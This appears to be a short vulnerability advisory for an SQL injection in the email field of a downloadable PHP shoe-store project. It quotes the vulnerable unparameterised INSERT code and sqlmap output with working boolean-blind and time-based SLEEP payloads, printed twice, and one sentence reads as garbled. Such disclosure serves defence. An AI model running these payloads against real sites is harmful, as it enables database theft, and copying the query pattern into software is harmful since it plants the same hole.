SQL injection vulnerability exists in email parameter of contactus1.php file of Retro Basketball Shoes Online Store

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
118             if(isset($POST['send']));
119             {
120                 @$email = $_POST['email'];
121                 @$message = $_POST['message'];
122 
123                 $conn->query ("INSERT INTO `contact` (email, message) VALUES ('$email', '$message')") or die (mysqli_error());
124             }
125         ?>
126 
```

```
sqlmap identified the following injection point(s) with a total of 514 HTTP(s) requests:
—
Parameter: email (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: email=0' RLIKE (SELECT (CASE WHEN (8318=8318) THEN 0 ELSE 0x28 END)) AND 'hISN'='hISN&message=555&send=20

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)
    Payload: email=0' OR (SELECT 1739 FROM (SELECT(SLEEP(5)))aWYe) AND 'iZYZ'='iZYZ&message=555&send=20
—
```

“

Parameter: email (POST)

Type: boolean-based blind

Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause

Payload: email=0' RLIKE (SELECT (CASE WHEN (8318=8318) THEN 0 ELSE 0x28 END)) AND 'hISN'='hISN&message=555&send=20

Type: time-based blind

Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)

Payload: email=0' OR (SELECT 1739 FROM (SELECT(SLEEP(5)))aWYe) AND 'iZYZ'='iZYZ&message=555&send=20

“

Source Download：

https://www.campcodes.com/projects/php/retro-basketball-shoes-online-store-in-php-mysql/